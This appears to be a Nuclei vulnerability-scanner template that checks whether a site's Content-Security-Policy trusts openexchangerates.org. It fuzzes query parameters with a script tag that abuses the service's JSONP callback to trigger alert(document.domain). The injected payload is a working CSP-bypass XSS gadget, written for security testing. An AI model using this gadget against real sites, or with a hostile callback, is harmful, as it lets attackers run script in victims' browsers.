id: openexchangerates-csp-bypass

info:
  name: Content-Security-Policy Bypass - OpenExchangeRates
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,openexchangerates,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "openexchangerates.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: openexchangerates_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://openexchangerates.org/api/latest.json?app_id=4a363014b909486b8f49d967b810a6c3&callback=alert(document.domain)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "openexchangerates_csp_xss == true"
# digest: 4a0a00473045022100aad13214994b1302b5830aa32fba7302b2c2a11b953c31b608fcb48b70041e2f02200201c70f648c90aa4335fa402aa6db5c6d35e2742a4b4d2e2c79f9baf41b4917:922c64590222798bb761d5b6d8e72950